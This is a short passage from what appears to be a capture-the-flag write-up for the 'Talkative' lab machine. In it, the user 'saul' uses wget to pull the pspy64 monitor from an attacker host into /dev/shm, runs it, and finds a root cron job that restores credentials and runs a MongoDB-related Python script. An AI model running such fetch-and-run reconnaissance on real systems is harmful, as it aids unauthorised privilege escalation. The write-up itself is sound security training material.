Talkative_PSPY

PSPY

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A root cronjob process was discovered

saul@talkative:/dev/shm$ wget -q http://10.10.14.9/pspy64 ; chmod 755 pspy64

Delivery complete

saul@talkative:/dev/shm$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
 
 
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config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done

Executing PSPY

Cronjob

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The root cronjob process is executing 3 commands above

• It restoring system credentials from backup files located in the home directory of the root user
• It’s also running a Python script; /root/.backup/update_mongo.py

The only service that uses MongoDB is Rocket.Chat